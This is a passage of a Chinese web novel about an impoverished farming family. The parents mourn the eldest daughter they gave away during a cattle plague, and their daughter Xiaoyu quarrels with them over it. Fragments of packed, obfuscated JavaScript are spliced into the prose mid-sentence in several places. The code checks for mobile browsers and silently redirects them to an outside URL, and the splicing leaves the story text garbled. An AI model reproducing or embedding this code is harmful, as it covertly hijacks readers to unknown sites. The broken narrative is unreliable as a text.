“当心些，壶里都是滚烫的水。”傅娘子连忙出声唤道。 “没事。”乔小遇已将茶壶放到了地上，口中这才得喘出气来。她抬起清澈的眉眼，朝傅娘子轻笑道：“是我心实了，灌了满满一壶，想着妹妹洗鸡枞也能掺些进去，不至于手冰。” 乔小遇本是想要安慰她娘的，但她很快便觉察到了不对——傅娘子的目光紧凝在她的身上，而眼眶泛红，似蓄了些泪的模样。 “娘这是怎么了？莫不是担心牛疫过了头？”乔小遇微愣了愣，想问个究竟，却瞧见她爹直朝她打眼色…… “爹，我去给你加些凉水，你快来洗脚。”乔小遇迅速丢下跟前的活计，折身跑回了偏屋去。 乔小佩见乔小遇似奔命般地跑回来，可两手空空，不禁皱眉道：“姐，你给我烧的水呢？” 乔小遇躲在偏屋的木柱旁，回头对妹妹低嘘了声，视线重新落到了院中的那对爹娘身上。乔小佩见状，亦忙收回那双被木盆里的凉水给浸僵了的手，朝乔小遇的身后躲去，只偏斜出一只小脑袋来。 傅娘子已然泣不成声，可她偏又极力忍耐着，以至于那样的低泣声便仿佛秋日里断断续续的雨线一般，透进人心里，泛着一股酸楚滋味。 乔冉安轻声哄着傅娘子，一边给傅娘子拍着脊背，似乎意在安抚，可他动作既没有一定的节奏可循，力道又失之协调…… 乔小遇觉着这情状实在突兀得很，可她也说不上来究竟是哪里不对劲。乔小佩更是懵了，“爹和娘这是怎么了？可是又吵架了？” “你瞧着像是吵架的样子？”乔小遇着实被妹妹这低语声吓了一跳，她轻抚着自己胸口顺气，道：“那你也别问我，我亦什么都不知道。” 姐妹俩无法，却又不好得开口相问，只得回到木盆边，忍了那冷水洗鸡枞，直到外间传来乔冉安倒水的声音，乔小遇才轻呼出了口气，讪讪地跑去拿茶壶…… 一整个下午，傅娘子沉浸于那样的情绪当中，而乔小遇姐妹俩虽担忧得紧，却也不敢相问…… 雨断断续续地下了一日，待至傍晚时，太阳反而出来了。 阳光照在斑驳的墙面上，不曾有温暖的晕黄，而仅是单调至极的冷白。 乔小遇将盆里的水掀得远远的，想要将院里石板上的泥冲散干净，只她刚一转头，她娘便拿了粪箕放在石坎上磕灰…… “得了，又白弄了。”乔小遇不由得嘀咕了句，觉着自己也没了心思去将家里的物件儿都规整起来。 她爹娘从不在意这些，乃至于整个家里乱糟糟的。或许在这个家里，唯一有被分类“待遇”的便只有土豆和柴火，土豆分了卖与人的、自家吃的、喂猪的，而柴火则只有干湿之分…… 至此，乔小遇也终于认识到，她的某些生活习惯暂时无法融入这个家里，当日子过得忙碌而苍白的爹娘每天所思考的问题只在于如何使一家人填饱肚子时，那些东西也就成了“瞎讲究”。 …… 那厢乔冉安虽已洗过脚，可回头便砌山墙去了。 倒不是他闲不住，而是傅娘子终还是有意无意地将自己的怒气发泄到了乔冉安身上，而无言辩驳的乔冉安只能想到以这种方式避开。 沉默的父亲挥着响声铿铿的锄头，蓦自发怔的娘亲，手里的针线穿绕不停，乔小遇姐妹俩更是不敢喘一口粗气…… 乔小遇去到土坡上，准备挖些白芨回来给妹妹换药，乔冉安问她那是做什么用的，乔小遇轻声解释了两句，乔冉安便径直拿过她手里的锄头，挖了好些白芨根给她，末了温和地问了句：“够了么？” “够了够了。”乔小遇连连点头，俯身将那些白芨根都捡进篮子后，才鼓起勇气问乔冉安道：“爹，你可知道娘为什么难过？可是我们惹了娘生气？” 乔冉安闻言，刨土的锄头不由得停止了挥动。他偏侧过头来，定定地看了乔小遇半晌，而后才问道：“小遇，你如今几岁了？” “十二岁了……”乔小遇怔怔地应了声，旋即便听得乔冉安沉叹了口气。 “是啊，你都十二岁了，你那长姐……”乔冉安忽然顿了话音，偏头过去说道：“你都懂事了，有些事情终究该让你知晓的，晚上我让你娘与你们姐妹俩说。” 尽管看不到乔冉安面上神色如何，可乔小遇到底得了回应，便也心安了许多。 这天，乔小遇本打算一家人早早把晚饭吃过，却没想饭桌上的气氛依旧不得平静。 乔小佩尚有些不懂规矩，扒饭时不知停顿，被傅娘子瞥见后拿筷子打红了手背，然而明晓傅娘子正有些情绪化的乔小佩只泪珠子直往下流，疼哭声却生忍了。 “娘，您这是何必呢？妹妹还小，以后我会好好教她的。”乔小遇心下忍不住直叹 “你若是有气便冲着我来，凭白拿了孩子发火是什么回事？”乔冉安的语气难得对傅娘子坚硬了几分。 他接着顿下了碗，指责道：“小佩都被你吓得不敢扒饭了，倒说说你这脾气性情，什么时候能改一改？你心里不好受，难道家里的孩子也要为你牵累？” “被我牵累？”傅娘子紧抚了泛酸的胸口，似对乔冉安说出这样的话有些不可置信，她艰难地抽动了动嘴角，才道：“若你有本事，当初小知也不会被送了人。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924337|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >乔冉安气噎了声，随即却又紧埋了头，呼哧呼哧地扒起碗里的饭来——似乎已管不得桌上还有别的菜，也管不得顾自去了灶边坐着戳起针线来的傅娘子。 乔小佩口中含了一嘴的玉米饭，无措的目光依赖性地朝乔小遇看过来…… “妹妹也被惊着了。”乔小遇几不可闻地轻叹了声，对乔小佩轻轻摇头示意她先吃饭，心下暗道：“这都是些什么事？似没来由的一般，可发作起来又是这般伤人。” 乔小遇觉得她娘当算得性情过分了，便似那冬日里的炉子一般，烧热时几乎要将烟囱上扒着的泥灰烘裂开来，可一等火熄，整个屋子便与冷窖无异。 “还有，小知是谁？” 乔小遇心下存了这疑云，而从爹娘的只言片语中她却依稀得见了疑云的轮廓…… 如此，她其实已算得有所准备——准备接受这个家庭曾经所经历过的一些事，以及曾经住过的一些人。 事隔多年，那道烙印于傅娘子心头的疤痕复被揭起，得知原委的乔小遇亦能理解父母处境的不易。 但对乔小遇姐妹俩而言，乔小知的存在却只能算得一道新划的伤口而已，且这道伤口算不得深。 并非凉薄，而是原就没有温情可言。 比起心情略显沉涩的妹妹，乔小遇的反应太过平静。她轻轻搅动着锅里的鸡枞，但听着菜油滋滋的声响与乔冉安的吸鼻声交杂，更多的却是在犹豫自己该不该出声劝慰。 “当初也是爹没用，害得你们娘几个饭都吃不饱，只能跟了我去朝州城里沿街行乞……” “那时小遇尚在襁褓之中，却是连口奶水也没得喝。眼看便要饿死了，我和你娘无法，只能将你长姐小知送给了一户忙着回乡奔丧的何姓人家，换得半袋精米，才将你的命从阎王爷那里拉了回来。” “当时你长姐小知方才四岁啊……小遇，是你长姐救了你的命，这恩情你可千万要记得！” 乔冉安说这话时涕泗横流，若非他面上神情尽是忏悔伤感，单就他那抱了胳膊几乎要蹲坐在地的姿势——可瞧着便是窝囊。 傅娘子在旁边听得乔冉安如此说，眼泪亦没忍住掉下来…… 乔小遇渐觉得心绪复杂起来。 襁褓之中的婴儿并没有选择的意识，她不知自己站在傅娘子的立场上会如何选择，或许结果依旧一样。 可假设终究只是假设，她不是傅娘子，也不是原来的乔小遇，对乔小知所经历的种种不过有所感怀，而如乔冉安夫妻二人那般的挂念于心，她却是没有的。 且看那坡地上的苜蓿和肥田萝卜种了一茬又一茬…… 当年送走乔小知的事像极了那些攀折在地埂上的黑莓果刺，一直在乔冉安夫妻俩心头生长。黑莓果刺不会停止撕扯田地里的养分，而乔冉安夫妻俩心头的负罪感只会越来越重。 或许，就算他们的生命如坡地里的苜蓿与肥田萝卜般枯萎干瘪，黑莓果刺的根茎也依旧会朝土壤深处扎去。 9. 血浓于水 大抵能令乔冉安夫妻俩感到一丝慰藉的地方在于，领养乔小知的那户何姓人家有些银钱，且膝下无子，定会让乔小知吃饱穿暖，无甚忧虑地长大。 世道艰难，便常有无奈之举，这当中实说不上怨谁怪谁。于乔小知而言，确有人对她有所亏欠，可对方是谁却是无法说道真切的。 “那这么多年，何姓人家可有给你们捎过信？比如她过得怎样，比如何家是否为她说定了亲事，对方品貌如何，家境如何？”乔小遇沉吟出声。 傅娘子闻言轻摇了摇头，脸上的沉郁神色愈发地深了几分，道：“她那养父母说过，若日后你长姐想回来认亲，他们也决不阻拦……” “所以你们一直当她会回来？”乔小遇目光怔怔地看向爹娘，手中搅动锅铲的动作不由得微微凝顿。 傅娘子听出了她语气里的那丝无奈，当即便皱起了眉头，道：“都道血浓于水，你长姐又怎么可能不认我和你爹？” “当初我们将你长姐送给那户何姓人家领养时，原本还心念着告知对方咱们家的住处，只没好意思主动开口，还是他家男主人寻了纸笔来特地记下的……” 傅娘子回忆起当年的情景，那双浑黄且带了几缕血丝的眼睛也渐地明亮起来。 她的语气不再如之前那般尖锐与直接，反透着一股柔和与坚定，道：“你长姐一定会回来的，小遇。” “你都不知道，你幼时你长姐待你有多好，娘如今看着你带妹妹玩耍的样子，便仿佛看到了你长姐的影子。”傅娘子话及此处，不自觉地伸出了手想去抚摸乔小遇的头。 可这样的话说出口，该叫乔小遇如何回应呢？ 她并不认为自己能够承受着这话语里的份量，也并不打算去承受。 “我去拿罐子来装鸡枞油。”就在傅娘子的手即将触碰到她时，乔小遇这般轻道，而脑袋则轻轻地侧避开来。 随着乔小遇起身离开，四脚不平的小矮凳开始来回轻晃，发出咯吱咯吱的声响。 “爹娘将乔小知送人时，乔小知还那样小，兴许她已记得些事，可又能怎么样呢？”乔小遇走到外间的灶边上，一边抬起之前放在灶边上晾水汽的罐子仔细检查，一边轻喃道。 四岁的乔小知即便表现得伶俐柔善、天真可爱，可谁会知道她以后会养成什么性子？ 失了亲生爹娘的陪伴，就算何家人能供她一碗饭食、两件新衣，甚至还能教她习一手好字、做一手好女红，可那又能怎么样？ 谁能确定何家人待她便如允诺的那般真心实意？谁能保证乔小知依旧深深思念着乔冉安夫妻俩，而从不曾萌生出半丝的抱怨之心？ 傅娘子之所以坚信有朝一日乔小知定会回到乔家村看望他们，最大的凭据便是“血浓于水”四字——可在乔小遇看来，这凭据实不足够。 “温情难得，爹娘心里一直念着乔小知不假，可这念想的温度如此灼热，还不是因着有所缺憾的缘故？”乔小遇这般作想时，其实已不自觉地扮演了一个旁观者的角色。 她的态度太过冷静，令傅娘子有些捉摸不透。或者换种说法，傅娘子已忍不住地将她的“冷静”看成了“冷漠”。 乔小遇一个人紧抱了俩罐子回到了锅边。 她能感受到乔冉安夫妻俩紧凝在她身上的目光，且即便她不曾抬头回望，她也十分清楚这目光中所含深意。然而乔小遇不过轻抿了抿唇，却是不打算在乔小知这件事情上表态了。 她使了蹲坐在一旁的妹妹，一人提了一边锅手，才将火上那只盛了满满的鸡枞油的铁锅放在竹圈上稳顿住。 因她柔声提醒动作一定要轻缓些，乔小佩也生怕油汁溅出来烫伤自个儿，是以整个过程都屏住了呼吸——如此，乔小佩的注意力似才从那种凝重的气氛里转移出来。 “姐姐，好香啊！”乔小佩凑到锅边，猛吸了好大一口这股香味，瘦的小脸上满是兴奋之色，“我去拿双筷子尝尝鸡枞干的味道。” 言毕便是一副兴冲冲地往橱柜边跑的架势。 乔小遇笑着叮嘱道：“再帮我拿个长柄勺子来。” “爹，娘，你们要不要尝一尝？”乔小佩给她姐夹了那鸡枞干|尝过后，视线探向乔冉安二人。显而易见的是，她并没有得到回应…… 乔小佩不禁瘪了瘪嘴，而与此同时，她触到了傅娘子眼底那抹略显怪异的神色。 六岁的乔小佩，一应情绪反应都很直接，从不懂得掩饰，所以当她察觉到傅娘子的视线是停落在她姐身上，似乎是在等一个回应时候，乔小佩有意挪过板凳，隔开了这道视线。 乔小遇只当妹妹是好奇心甚重才与自己坐得这般近，浅笑道：“你也一并将咱家那只从前用来腌酸辣子的陶罐拿来吧，我记得我将它洗了放在橱柜里的。” “好嘞！”乔小佩得了吩咐面上欢喜异常，便是火边隔了橱柜不过七八步的距离，她竟也学了野兔蹦跳着过去…… “瞧你那嘚瑟模样，可能正经一些？地上不平，当心踩了坑洼处摔跤。”乔小遇嗔笑着道，目光中尽显柔和。 瞧着姐妹俩这般亲密无间，乔冉安与傅娘子却觉着自己的嘴皮仿佛失了水分般皲裂开来，难以张动，而心间情绪是尴尬与隐怒交杂。 这情绪发酵得很快，犹同深秋时节里家家户户院中所晾的腌菜干一般——随着菜叶上所沾着的水分蒸发殆尽，菜干的腐酸滋味就愈发浓烈。 两人渐生苦恼，为何会将两个女儿教成了这般“冷漠”模样。 “领养你们长姐的那户何姓人家便住在朝州城的外郊，娘听说那边的土地竟是黑的，与咱们村里的泥色并不相同，而种出的豆子、稻米个个都是饱粒。娘还听说……” 傅娘子与乔冉安愣了愣神，终又开始你一句我一句地絮叨起来——用他们当算得“狭隘”二字的认知，兴致盎然地与乔小遇姐妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924338|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俩构述着一幅关于何家人如何富裕的生活场景。 一开始乔小遇还忍耐着，面上虽然不曾有什么特别的反应，可她到底在听……只话说回来，这般由“听说”二字开头的构述有什么实在意义么？ “许是有的，比如为了求得几分内心的安宁。”乔小遇心底补充道。 她爹娘试图通过乔小知在何家过得衣食不缺这一点，来证明他们当初将乔小知送人的无奈举动其实也“救”了乔小知的命，甚至让乔小知拥有了一个平坦顺遂的人生。 乔小佩或许还不曾意会到这层实在意义，但小孩子总是喜欢听些趣闻的…… 她渐听得入了神，脑海中已经开始想象何家的房子有多高、院子有多宽敞、地有多平，以及她那位从不曾谋面的长姐的生活究竟有多幸福…… 看着妹妹眼底流露出的羡慕之色，乔小遇不由得一阵摇头，径直打断了乔冉安的话音，淡声吩咐乔小佩道：“你再去拿干抹布来擦擦罐子口沿的灰罢……” 乔小佩神思一时被打断，连屁股底下坐着的那节板凳也停了晃动。 缓冲了片刻，乔小佩才起身去跑腿，一边还扯紧了嗓子眼说道：“这里头有我特地摘来的野花椒叶子……姐姐你可别将鸡枞油全都倒进大罐子里，回头让爹全都给卖了。” 乔小佩可以暂时避开了，而避开的理由没有丝毫的突兀感。可乔小佩并没有走开很远，她一边假意找着东西，一边则忍不住朝乔小遇的方向回头张望。 乔小佩鲜少会在她姐脸上看到除焦虑之外的负面情绪，只她不明白乔小遇为何会有这样的反应，是以行举间不自觉地带了一股紧涩感。 乔小遇的视线慢慢转到她爹娘身上，微沉的话音便仿佛秤杆上吊着的秤砣一般带了一种衡量意味，“爹，娘，你们若想乔小知想得紧，为何不直接去一趟何家，看看她是否过得好？” “既然你们都不曾去过，又何必与我姐妹俩说这些你们都没有亲眼见过的东西？我对那位长姐一无所知，便从我记事起，我只知晓我有个妹妹叫小佩，而我们之间隔了六岁，我理应多照顾她……” 乔小遇没有给她爹娘出声打断的机会，只轻轻地吸了口鼻子，紧接着说道：“我与那位长姐亦没有半分情感维系，你们今日惦在心里、念在嘴里，究竟是想让我与妹妹认同什么？” 她这话过于尖锐，直刺痛了乔冉安与傅娘子的心口，可平日里那个柔善贴心的乔小遇是从不曾、也从不敢这般说话的。 乔冉安夫妻俩的神色已几乎凝住，肿胀的眼球仿佛充满了一种剧烈的撕扯感…… 乔小遇索性将手中舀鸡枞油的勺子直接放下，轻睨了眼，才道：“是认同乔小知是家中长姐的事实，还是认同她如今过得很好，若日后回了乔家村来看望您二老，能算得用‘衣锦还乡’这一类词来形容？” “小遇，你怎能这么说话？小知可是你的长姐啊……” 10. 亏欠与否 傅娘子蜡黄色的脸上是极度的震惊，从她牙缝里蹦出来的字词则带了灼热的温度，仿佛那些从锅里飞溅出来的油星一般：“倒是我与你爹平日里对你疏忽了，一直当你懂事，可没想竟把你养成了一个白眼狼，不知感恩！” “我白眼狼？” 乔小遇觉着自己的眼一阵泛酸，她紧咬着唇，本以为自己能够忍住的，可眼泪还是不争气地掉落了下来。 “倒说说这一天到晚，你都在与爹爹赌气，除了那一双背面被你拉满了乱线的鞋垫，你还做了什么？猪食是我煮的，晚饭是我做的，便说方才我与妹妹抬油锅不甚方便，你和爹都不曾上前搭把手。” “你们心里究竟顾着谁？也莫说是那位长在了异乡的何小知了，你们顾念得更多的是自己的感受……既都嫌弃家里没有那个能力，没法子将何小知从她养父母身边接回来，那还有什么可说的？” 她难得顶撞，难得生硬，也难得再保持冷静。 连日来那些沉积于她内心的情绪也终在这一瞬间倏然爆发开来，如同村子后头那块已无多少树木附生的山坡般，但受暴雨侵袭，便被狠扒走了几层松散泥皮，露出一道道狰狞的土壑来…… 而这土壑的面目实在是令乔冉安二人惊愕。 这才是女儿的态度——如先前在坟山里捡了祭拜死人东西的那件事，乔小遇的心思多花在了“糊口”两字上，而旁的东西对她而言，便都仿佛一道高悬的弯月般，她可懒得多看几眼。 事实上，这天家里人的状态相比平日当算得反常。 当他们平淡地去看待那些发生在自己周围的事情时，不曾觉察到有什么不对，可切身相关时，乔小遇的态度却又让他们极为不解，甚至不忿。 灶炉里的柴火被烧裂开来，发出一道清脆的爆声，直令围在火边的乔冉安夫妻俩惊得抖动了下自己紧绷的面皮。 傅娘子眸光闪烁，心间不由得生出了几分悔意，暗暗思量道：“我方才不应该那样责难小遇，她已经做得够好了……若说为了糊口，这家里谁不是呢？只她一口一个何小知，这也太不像话了。” 乔冉安自诩一家之主，但听得乔小遇口中那些“没能力”之类的字眼，心思便不由得沉重了几分，整个人变得默然不语，身子则微缩成一团，似乎是想寻一个火光映照不到的阴影处藏起来。 “她终究是你的长姐。”傅娘子的话音稍稍拖长了些，看向乔小遇的眼神有些不忍…… 乔小遇闻言便稍稍侧过了脸去，她手上仔细扶了罐子，目光则四探着想寻个什么东西将眼泪擦干——便猜着是这般情形，她早该从头到尾都当个哑巴，什么话都不说，更别道言出那些顶撞的话来。 “姐姐……”乔小佩有些不安地揉搓着手里的洗脸巾，嗓音糯糯。乔小遇抬起头来，面上一阵苦笑。 粗糙的洗脸巾直将乔小遇的眼皮与鼻尖擦得通红，也带出丝丝痛感，可乔小遇一声未吭，因为她知道妹妹的动作已十分轻柔了。 随着那层似蛛网一般将她脸蒙覆住了的泪痕被擦干，乔小遇才渐渐缓过神来。乔小遇想为自己方才的冒失与尖锐道歉，可她嗫嚅地动了动唇，终不曾把话说出口。 确实没有什么好说的…… 一家人对何小知如今的生活状态一无所知，乔小遇话中那句“衣锦还乡”带了讽意的同时，亦只是一种假设。 乔小遇复又垂头，拿起圆勺继续舀鸡枞油。只她心意难平，连带了手中动作微颤，险些将勺里的鸡枞油给洒了出来。 “我来吧。”傅娘子颤巍着站起身来，紧抑了话里那股浓重的鼻音说道。 因微怔住而没来得及松手的乔小遇，便这般触到了她娘那双粗糙的手掌——莫名地，乔小遇直觉有一股奇异的暖流在她心头漾起，而这道暖流经肺腑处时，却又带了一种刺冷的疼。 乔小遇暗自摇头道：“只要不曾亲眼见到，爹娘对何小知的印象就会永久地停在朝州城发生牛疫的那一年……” “内疚也好，怀念也罢，不论何小知日后会不会‘衣锦还乡’，她都已然是生长在爹娘心头的一根刺，而由这根刺所带来的隐痛，可能只需几个相关的字眼，亦或一封书信就能够直接引发。” 如今牛疫再度爆发，乔冉安与傅娘子心惧到这般地步，说来，他们还是在担心如何才能使这一大家子不至饿死的问题…… “是爹没本事……” “若这次的牛疫没办法躲过去……” “但愿牛疫不会传到村里来，不然的话……” 乔冉安的话音断断续续地，不成条理，直让傅娘子听得紧皱了眉——唯一能将这家撑起的男人显然已做了最坏的设想，可他绕来绕去，却还是那句怪他没本事的话。 “你可能停止叨念了？”傅娘子斜瞅了一眼乔冉安，好不容易沉落下去的火气竟又有了升腾起来的征兆，直灼得她喉咙紧疼。 乔冉安讪讪地张了张嘴巴，但瞧着傅娘子颇为无奈地偏过头去，他也只能吞咽了一口唾沫，不敢再出声惹媳妇儿不快了。 “家里还剩得多少鸡枞没洗的？” 傅娘子说这话时，话音里终于带了如平日里的那股烟火气，乔小遇闻言不禁怔怔抬眼。 还是妹妹接过了话头，应道：“依娘的吩咐，我和姐姐才洗了一只篮子里的，倒也就着家里仅有的菜油炸了。” 傅娘子轻“嗯”了声，接着道：“你明早再去镇上一趟。” 乔冉安知道傅娘子这话是与他说的，脸上渐恢复了几丝精神气，讪讪地偏过头来。 傅娘子沉吟着继续说道：“饭馆的掌柜难得热情，你先带了鸡枞油去他那里问问，就是价钱低些也无妨。” “得了的铜钱你先留了五十文与乔阿婆，剩下的便买几斤菜油，总要把余下的那些都炸过了才好多得些钱的。等统共将鸡枞卖了，也不管能余得多少铜钱，你都将着在镇上换了糙米和玉米 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924339|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面回来。” 乔冉安连声应是。 “可谢天谢地，这一家子人倒也不继续在何小知的事情上纠结了……既思之无用，还是紧想着怎么才能安然地度过这场牛疫吧。”乔小遇心下暗道。 到底这家里光景如此，人便是疲惫异常，“现实”二字也总会将人紧推了朝前走去，不教你得半分喘息之机。 乔冉安身子骨本就不好，傅娘子虽算能干些，可到底是个妇人，家里的重活并不能帮上多少……再转眼过来瞧瞧小的，都是女孩儿，身体也未长得十分健康——这家里的劳动力比不得村里的其他人家，可寻饭要吃的嘴却一点也不比别家少。 “家家户户的日子都算不得好过……”傅娘子念起乔长田家的处境，不由得皱眉叹道：“村里能存些多余的银钱出来的人家不多，菜粉家算是一户，可如今长田摔了这一跤，怕是得将家底都掏空了。” “何况他家还种了这么多地……”乔冉安亦跟着叹气，可旋即却又似想到了什么一般，神情变得严肃起来，一边半撑着火边的小床边沿坐起了身。 “媳妇，要是咱家地里的土豆刨完了，可能帮着长田家一些？你也说他家情况不容易了……”乔冉安嘴巴轻撇了撇，试探性地问傅娘子道。 “这自然是可以的，只咱家家里的事也是一大堆——挖土豆，砌山墙，还要准备入冬时的猪草粉……”傅娘子的语气里已带了回绝的意思，只当她转过眼来瞥见乔冉安脸上那抹苦色时，话音轻轻一顿。 “不是我不想帮人，只是……” “娘，家里的事总是做不完的，可咱们家以后总有求人帮忙的地方。”乔小遇的视线轻轻地转至傅娘子处，开口劝道：“便说每年咱家春耕时都是借了长田叔家的牛来用的，如今他家有难处，咱家不能不帮。” 这家里人手不够，单就喂那几个猪便已经令人焦头烂额，是以每年犁地都是与乔长田家借了牛用的，乔小遇家则默认将地里的干玉米草背给乔长田家喂牛…… 这借牛的事大概已经有了七八年的样子，而乔长田夫妻俩从没说过半句不合适的话。乔冉安背了牛草去时，他夫妻俩总道不必太客气，还追问乔冉安，家中是否急需用牛，若是急用了尽可将牛拉去…… 许是这情形太过常态，傅娘子竟渐渐形成了这样一种认知：我虽与你家借牛，可牛肚子是我给喂饱了的，咱谁也不亏欠谁。 可傅娘子却不曾想，干玉米草其实只需撑过从入冬至初春这段日子便可以了的，乔长田家在村里也算得地皮多的人家，人可完全就不缺乔冉安家的那几捆干玉米草。 “咱家轮不到你拿主意！就说借牛的事，牛疫都要来了，你菜粉婶子家的那头大黄牛能不能撑过去都不知道。” 傅娘子瞪了一眼乔小遇，接着使唤道：“去把这两罐鸡枞油给放到板壁旁边，可别叫谁路过时给不小心绊洒了。” 又是牛疫，敢情这俩字今儿是过不去了。 11. 寄望于人 乔小遇几不可闻地长叹了口气。此前她一直以为傅娘子是个拎得清楚的人，可没想她娘就是拎得太清楚了，才显得头脑发涨、处处计较。 这作派倒与阿婆的那两个儿媳有什么区别？ 若不是妹妹还得央了阿婆带，乔小遇直怀疑她娘可不会那么痛快地就对送乔阿婆钱物的事拍板。如今也是一样，傅娘子自以为暂不必为了旁的事去求乔长田家，所以并不想管乔长田家的事。 乔小佩上了前来，却也没有主动搬罐子的意思，只耸肩说道：“娘，您当初便用几双鞋垫子让菜粉婶子记住了咱家的小恩惠，爹去借土豆种时，长田叔可二话没说吧？怎么到了您这儿，却还推三阻四起来？” “再说了，爹也没说就不顾家里的事了，总要先做完了咱家那些紧忙的活计才好去帮别人的，比如挖土豆……” “至于砌山墙就先算了吧，背来的石头已用完了，爹这几日也只是忙了挖土沟，等入了秋，雨水不多，山墙大可拖些日子。还有那猪草粉的事，如今还是夏末呢，娘你咋不把明年开春时要做的活计也都给算上？” 乔小佩一鼓气说完，竟还偏过头去，朝乔冉安问道：“爹，您说是吧？” 瞧着妹妹那副理所当然的样子，乔小遇直想给她竖拇指了，只方才这些话若是大人教训小辈的便也算了…… 然而令乔小遇出乎预料的是，她娘并没有出言斥责妹妹。 “你倒说的占理，显得为娘十分刻薄。”傅娘子目光沉沉地瞥了一眼乔小佩，心中沉沉地道：“只我也没有意识到自己什么时候开始变成这模样的。” 乔冉安微叹，轻笑道：“你娘这是应下了。” …… 月光已久不得见，黑沉沉的夜色下，各家院中看门的大黄狗均闭了吠声，似已睡得昏沉，可村庄并非想象中的那般宁静。 藏在板壁缝隙里的老鼠都不约而同地外出活动了，它们不是争相着在楼板上跑来跑去，便是在窸窸窣窣地啃食土豆…… 乔小遇听得一阵心烦意乱。 因她家隔了大村子有些距离，惯于夜中捕食的猫便很少“光顾”这里，乃至于家中鼠患颇重。若是在粮食留存颇少的日子倒还好些，只到了夏秋之际，堆了粮食的楼板便成了老鼠的狂欢之所。 同样睡不着的还有她妹妹。 “姐姐，长姐的事你怎么看的？你说她会真有那么一天回来认亲么？”乔小佩终未忍住，径直翻了个侧身过来，嗓音含糊地对乔小遇说道：“我知道你也没有睡着……” 黑暗中，乔小遇保持着平稳的呼吸，可那双眼睛却并未合上，而她也未曾接过妹妹的话头。 “你说爹娘可睡着了？”乔小佩又问。 然而旁边的人依旧没有出声应她，轻浅的呼吸声便如结了层薄冰的湖面般惊不起半分动静。 “咦，真睡着了？”乔小佩讶异了声，伸手便朝乔小遇的脸上摸去。 乔小遇的眼睛因已适应夜里的光线，所以能依稀瞧见妹妹探过来的手臂的轮廓……就当妹妹的手即将触到她的嘴巴时，乔小遇终于探出自己捂在被窝里的手，将妹妹的爪子给轻轻打偏了过去。 “你干甚？”乔小遇话音微凝地道。 “你果然没睡着！” 乔小遇听着妹妹笑嘻嘻的声音，以及当中略显兴奋的意味，不由得皱了皱眉，反问道：“你觉着何小知会跟爹娘所预想的那般……回来认亲？” “为什么不呢？”乔小佩的语气里的“理所当然”与乔冉安夫妻俩如出一辙。 然而面对乔小遇的再次沉默，乔小佩却不知怎么继续下去这个话题了。 乔小佩将自己的身体挪得与她姐挨近了些，才犹豫着问道：“姐姐，你是不是不喜欢长姐？” “你想多了，我都不曾见过她。”乔小遇感受到妹妹待自己的亲昵和依赖，话音不由得放柔了些，接着道：“你且想想，她如今或许已经成亲了……” “既成了亲，回乔家村来认亲能图个什么呢？她若过得好了，你也不能盼着她回来会扶持我们家一二，因为这事儿，本就是家里对不住她。她若是过得辛苦，你想想你与爹娘无意识间打的那算盘，难道就不觉得惭愧么？” 乔小佩噤住了声，旋才发觉，她这一整晚都没得安眠的原因并非只源于对何小知的挂念。或许有意无意间，她已然将那位素未谋面的长姐当成了一根能让自己摆脱当前困局的浮木…… 偏她还盼着这根浮木能自己划游到她跟前。 “我还以为你嫉妒她……好吧，我承认我有些嫉妒，大抵是在乔家村的日子过得太苦了，而我不想再继续苦下去。”乔小佩话音沉顿地道。 “你羡慕她，可兴许她也羡慕你。” 乔小遇着意将“嫉妒”二字改成了羡慕，淡笑了笑，安慰道：“日子总不会一直苦下去的，但在咱家好过起来之前，你便不好得将希望寄托在何小知身上的，你懂我的意思么？” “我晓得了……”乔小佩轻嘤了声，心头虽有几分沮丧之感，可这会儿她依偎在姐姐臂窝间，更多的却是觉得安宁。 姐妹俩终于沉沉睡去。 梦乡之中，是个烈阳高照的好天气，坡地里干生生的，土豆挖着全不费力，而她们的爹爹乔冉安则碰得了个好运气，将那鸡枞卖得了许多钱，还有那牛疫终究不曾传到乔家村，一家人再不必过得提心吊胆…… 大抵，乔冉安与傅娘子的梦境也是这样一幅图景罢。 这户住在拖罗河上游的人家，日子过得实在紧巴，而他们是指望不上什么人相帮的，是以只能指望自己。 翌日天还未亮，乔冉安便早早起来将猪食煮熟了。 因不想再被媳妇儿唠叨，乔冉安觉着此番出门却是无论如何也不能再糟蹋他那双黑布鞋了，是以临出门时又折身回屋，自己趴在小床底下掏摸半天，终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 